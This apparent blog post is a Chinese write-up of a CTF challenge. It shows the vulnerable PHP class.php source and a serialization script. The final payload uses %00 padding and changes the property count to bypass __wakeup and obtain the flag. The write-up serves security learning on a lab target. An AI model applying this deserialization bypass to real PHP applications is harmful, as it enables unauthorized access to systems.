• [极客大挑战 2019]PHP


    一个简单的代码审计题目。
    题目提示有备份,那就应该有一个目录提供源码下载。扫了一下,有一个www.zip文件,下载。

    打开以后,是三个php源码,其中最重要的是class.php,代码如下:

    <?php
    include 'flag.php';
    
    error_reporting(0);
    
    class Name{
        private $username = 'nonono';
        private $password = 'yesyes';
    
        public function __construct($username,$password){
            $this->username = $username;
            $this->password = $password;
        }
    
        function __wakeup(){
            $this->username = 'guest';
        }
    
        function __destruct(){
            if ($this->password != 100) {
                echo "</br>NO!!!hacker!!!</br>";
                echo "You name is: ";
                echo $this->username;echo "</br>";
                echo "You password is: ";
                echo $this->password;echo "</br>";
                die();
            }
            if ($this->username === 'admin') {
                global $flag;
                echo $flag;
            }else{
                echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
                die();
    
            }
        }
    }
    ?>
    

    看了一下,这个其实是个反序列化题目。脚本如下:

    <?php
    
    class Name{
        private $username = 'nonono';
        private $password = 'yesyes';
    
        public function __construct($username,$password){
            $this->username = $username;
            $this->password = $password;
        }
    
    }
    $a = new Name('admin',100);
    
    $b = serialize($a);
    echo ($b);
    
    ?>
    

    在这里插入图片描述
    结果如下,但是那些<0x00>复制不下来,用%00代替。
    O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
    把这个当参数上传,无果。
    为什么呢,因为源码里面有一个__wakeup()魔术方法。绕过__wakeup()的方法为:将那串字符里面的2换为3即可。
    加上%00是因为username和password都是私有变量,变量中的类名前后会有空白符,而复制的时候会丢失。
    所以最后的参数是:O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

    在这里插入图片描述

  • 相关阅读:
    jmeter压测-05-xpath表达式
    测试那些事-测试资源篇
    测试那些事-沟通篇
    测试那些事-前端
    测试那些事儿-后端
    记一次大数据量不同处理方式下服务器负载
    jmeter压测dubbo接口,参数为dto时如何写传参及有错误时的分析思路
    pyton3 字典排序
    python测试dubbo接口
    记录一下telnet测试dubbo接口,参数为dto时怎么测试,枚举类型传参
  • 原文地址:https://www.cnblogs.com/shenjuxian/p/13702749.html
Copyright © 2020-2023  润新知